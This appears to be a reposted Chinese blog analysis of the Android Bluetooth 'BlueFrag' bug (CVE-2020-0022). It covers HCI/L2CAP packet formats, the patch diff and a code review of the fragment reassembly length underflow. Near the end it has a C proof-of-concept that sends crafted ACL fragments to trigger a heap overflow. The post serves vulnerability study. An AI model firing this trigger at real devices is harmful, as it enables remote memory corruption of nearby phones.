CVE-2020-0022 “BlueFrag”漏洞分析
2020-02-20 01:00:00 Author: bestwing.me(查看原文) 阅读量:126 收藏

Android蓝牙子系统“BlueFrag”漏洞分析

漏洞位于:hci/src/packet_fragmenter.cc

HCI 层

HCI 层位于蓝牙协议栈高层协议和低层协议之间,提供了对基带控制器和链路管理器的命令以及访问蓝牙硬件的统一接口方法,其接口适用于BR/EDR控制器、BR/EDR/LE控制器、LE控制器、AMP控制器,与底层的结构关系如下图:

HCI 包格式

HCI通过包的方式来传送数据、命令和事件的,所有在主机和主机控制器之间的通信都以包的形式进行。包括每个命令的返回参数都通过特定的事件包来传输。HCI有数据、命令和事件三种类型的包。命令包COMMAND(0x01)只能从主机发往主机控制器,其中数据包是双向的,分为两类:ACL(0x02)、SCO(0x03),而事件包EVENT(0x04)始终是主机控制器发向主机的。主机发出的大多数命令包都会触发主机控制器产生相应的事件包作为响应,在传输过程中会有一个句柄,用于识别主机之间的逻辑通道和控制器,共有三种类型的句柄:连接句柄、逻辑链路句柄和物理链路句柄。

根据需要,这里只介绍ACL数据包格式,ACL 数据用于主机和控制器之间的非同步数据交换,如播放音乐数据的数据包,格式如下图:

img

字段说明:

字段 说明
Handle Connection_Handle用于在主控制器上传输数据包或段。
PB Flag 包边界和适应范围。
BC Flag 广播标志。
Data Total Length 以八位位组为单位的数据长度,包含高层协议data。

其中 PB FLAGS 是我们要注意的 ,设置为 00’b 的时候,代表 Host -> Contoller 的 L2CAP 的首包。设置为 01’b 的时候,代表 Host -> Contoller 或者 Contoller -> Host 的 L2CAP 的续包(中间的)。设置为 10’b 的时候,代表 Contoller -> Host 的 L2CAP 的首包。

字段 表示
00’b -> 0 Host -> Contoller 的 L2CAP 的首包
01’b -> 1 Host -> Contoller 或者 Contoller -> Host 的 L2CAP 的续包
10’b -> 2 设置为 10’b 的时候,代表 Contoller -> Host 的 L2CAP 的首包。

L2CAP 数据包格式

上面提到了 L2CAP ,那么什么是L2CAP呢?

分段(Fragmentation)和重组(Reassembly )

这里需要提及一下 分段与重组

分段是将PDU分解成较小的部分,以便从L2CAP传递到较低层。重组是根据从下层传递来的片段重组PDU的过程。分段和重组可以应用于任何L2CAP PDU。

image-20200214163251779

我们可以简单把 L2CAP 当成 HCI data payload

image-20200214163406198

数据包格式

L2CAP是基于分组的,但也遵循信道传输的通信模型。L2CAP支持的信道有两种:面向连接的信道和面向无连接的信道。在面向连接的信道中,L2CAP数据包的格式如下图所示

img

数据包中每个字段的说明如下所示:

字段 说明
Length 2字节,表示信息有效负载的大小,不包括长度L2CAP头。
Channel ID**(**CID**)** 2字节,用于标识目的信道的终端。通道ID的范围与正在发送数据包的设备相关。
Information**(**Payload**)** 信息负载。长度为0到65535字节。

漏洞分析

CVE-2020-0022漏洞位于HCI层,漏洞补丁代码位于hci/src/packet_fragmenter.cc(以8.1.0_r33为例)中的reassemble_and_dispatch()函数中,该函数是用于数据包分片的重组。对于过长的ACL数据包需要进行包的重组,主要是根据ACL包中的PB Flag标志位进行重组,如果当前是起始部分并且是不完整的,则生成一个部分包(partial_packet)放到map里,等下次收到它的后续部分进行拼装,拼装完毕后就分发出去。详细分析reassemble_and_dispatch()函数如下:

Patch

clone 一份代码:

1
2
3
git clone https://android.googlesource.com/platform/system/bt
cd bt
checkout 771571

咱们先看 一眼 patch:

https://android.googlesource.com/platform/system/bt/+/3cb7149d8fed2d7d77ceaa95bf845224c4db3baf%5E%21/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/hci/src/packet_fragmenter.cc b/hci/src/packet_fragmenter.cc
index 5036ed5..143fc23 100644


@@ -221,7 +221,8 @@
"%s got packet which would exceed expected length of %d. "
"Truncating.",
__func__, partial_packet->len);
- packet->len = partial_packet->len - partial_packet->offset;
+ packet->len =
+ (partial_packet->len - partial_packet->offset) + packet->offset;
projected_offset = partial_packet->len;
}

将 packet->len 的值在原本的基础上加上了 packet->offset

code review

代码处理逻辑在 reassemble_and_dispatch 函数里:

image-20200214164211428

首先读取相关变量, handle 和 acl_length :

  • handle 相当于链接 seesion

  • acl_length 则为 Data Total Length 这是包括 header + data

    131 行校验 长度是否合法

image-20200214164743418

133 行 通过 handle 读取 boundary_flag ,就是前文提及的 PB flag

136 行 判断 PB flag 是否为 2 ,即 是否为 Contoller -> Host 的 L2CAP 的首包,如是则进入 if 条件分支

image-20200214165424356

145 的分支则判断 packet 是否已经被处理过

image-20200214165740960

156 行则判断 acl_length 是否正常

然后紧接着计算 full_length ,

1
2
uint16_t full_length =
l2cap_length + L2CAP_HEADER_SIZE + HCI_ACL_PREAMBLE_SIZE;

L2cap_length 也是从 stream 读取的

image-20200214165946945

上面提及了 acl_length为Data Total Length,该data数据域中存放着L2CAP数据包分片(也可能是一个完整的L2CAP数据包) 则 l2cap_length 是一个完整的L2CAP数据包中payload的长度。

所以 full_length = 完整的L2CAP数据包中的payload的长度 + 一个L2CAP头部长度和一个HCI头部长度

image-20200214170805275

168 行 又是一次数据大小检查

image-20200214170947166

177 行开始,通过检查大小 判断当前 packet 是否还有后续的包,如果没有就直接 callbacks->reassembled(packet);并返回

image-20200214171432668

如果有后续包,则开始进一步处理

  • 分配一块内存,用来 packet 数据重组

  • 设置一些变量,partial_packet->event 、 partial_packet->len、partial_packet->offset

    其中:partial_packet->len = full_length; 以及partial_packet->offset = packet->len;

    将partial_packet->len设置为full_length,将partial_packet->offset设置为packet->len即当前头包packet->data的长度

  • 调用memcpy,将头包packet中HCI数据包整体拷贝到partial_packet中

  • 更新acl_length为一个完整的L2CAP数据包长度

  • 200 行 将partial_packet存放到容器中

  • 最后 释放当前头包packet,表示已经处理完第一个packet

当下一个包过来,且不是首包的时候,就会进入到

image-20200214171915985

204 行这个分支

image-20200214172003177

206 行,判断通过 handle 判断当前包是否是一个链路里的,否则 drop

image-20200214173502465

215 行, 设置 packet->offset 等于 HCI_ACL_PRESMBLE_SIXE 即等于4 ,此时 packet->offset 就指向了 data 域

216 行, 开始计算 projected_offset ,等于 partial_packet->offset 与 (packet->len - HCI_ACL_PREAMBLE_SIZE) 之和:

​ 此时

  • projected_offset为partial_packet->offset
  • (packet->len - HCI_ACL_PREAMBLE_SIZE) 为 L2CAP数据包分片

则,projected_offset 为 partial_packet->offset + L2CAP数据包分片

image-20200214174007323

接着就是重要的地方了,判断 projected_offset 是否大于 partial_packet->len

projected_offset 是刚才求和的结果 , partial_packet->len 则 full_lenght

image-20200214174315466

如果 projected_offset 大于 partial_packet->len 则进行一次减法运算:

image-20200214174406350

packet->len = partial_packet->len - partial_packet->offset;

projected_offset = partial_packet->len;

重新设置 packet->len 与 projected_offset,packet->len为partial_packet剩余空间的长度。然后,将projected_offset设置为partial_packet->len

如果此时 packet->len 的结果是一个小的数,那么在

image-20200214174600143

228 行进行拷贝的时候,packet->len - packet->offset 就可能为一个负数,当size 为负数,由于memcpy 的参数是无符号的,所以会被强制转换为一个大数,然后造成堆溢出。

PoC 构建

PoC 链接可以看着: https://gist.github.com/leommxj/c9ba42e54faa9629cff5db3b4daeccef

  1. 我们要构建 packet->len = partial_packet->len - partial_packet->offset; 为一个小数,或者干脆就是一个负数

通过前文分析,我们知道 packet->len 等于 partial_packet->len - partial_packet->offset 相减,partial_packet->len 为 full_length ->

1
2
full_length =
l2cap_length + L2CAP_HEADER_SIZE + HCI_ACL_PREAMBLE_SIZE;

partial_packet->offset 为:

1
partial_packet->offset = packet->len;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
printf("\nCreating a HCI BLE connection...\n");
printf("\nPrepare to send packet\n");
uint16_t datalen = 30;
uint16_t _bs_l2cap_len = htobs(datalen + 4);
uint16_t _bs_cid = htobs(0x0001);
uint8_t packet[4 + L2CAP_CMD_HDR_SIZE + datalen + 11];
memcpy(&packet[0],&_bs_l2cap_len,2);
memcpy(&packet[2],&_bs_cid,2);
l2cap_cmd_hdr* cmd = (l2cap_cmd_hdr*) (packet+ 4);
cmd->code = L2CAP_ECHO_REQ;
cmd->ident = 0x01;
cmd->len = htobs(datalen);
memset(&packet[8], 0x99, datalen+11);
printf("\nSending first packet\n");
int i =0 ;
hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 8 + 4 ,0x0, 8 + 4 );
i+=4;
printf("\nSending second packet\n");
hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 12,0x1,12);
i+=12;
printf("\nSending third packet\n");
hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 12,0x1,12);
i+=12;
hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 11,0x1,11);


printf("\nClosing HCI socket...\n");
close(hci_socket);
printf("\nClosing l2cap socket...\n");
close(l2_sock);

首先,整个l2cap 长度为 : datalen + header 即 30 + 4

1
2
full_length =
l2cap_length + L2CAP_HEADER_SIZE + HCI_ACL_PREAMBLE_SIZE;

那么此时 full_length 就等于 34 + 4 + 4 等于 42

1
2
3
4
5
6
7
8
9
10
11
packet->offset = HCI_ACL_PREAMBLE_SIZE;
uint16_t projected_offset =
partial_packet->offset + (packet->len - HCI_ACL_PREAMBLE_SIZE);
if (projected_offset >
partial_packet->len) { // len stores the expected length
LOG_WARN(LOG_TAG,
"%s got packet which would exceed expected length of %d. "
"Truncating.",
__func__, partial_packet->len);
packet->len = partial_packet->len - partial_packet->offset;
projected_offset = partial_packet->len;

此时 projected_offset = 36 + (11 - 4)

36 是由 12 + 12 + 12 当最后一个包的时候 partial_packet->offset 就为 36

那么此时 projected_offset = 43

当 42-43 的时候为负数 则 packet->len 等于 -1

参考链接

https://mp.weixin.qq.com/s/MgttHkorVd5UrW1Cnlc5Xw

https://android.googlesource.com/platform/system/bt/+/3cb7149d8fed2d7d77ceaa95bf845224c4db3baf%5E%21/

https://stackoverflow.com/questions/60116790/sending-gap-acl-l2cap-data-packets

https://insinuator.net/2020/02/critical-bluetooth-vulnerability-in-android-cve-2020-0022/


文章来源: https://bestwing.me/CVE-2020-0022-analysis.html
如有侵权请联系:admin#unsafe.sh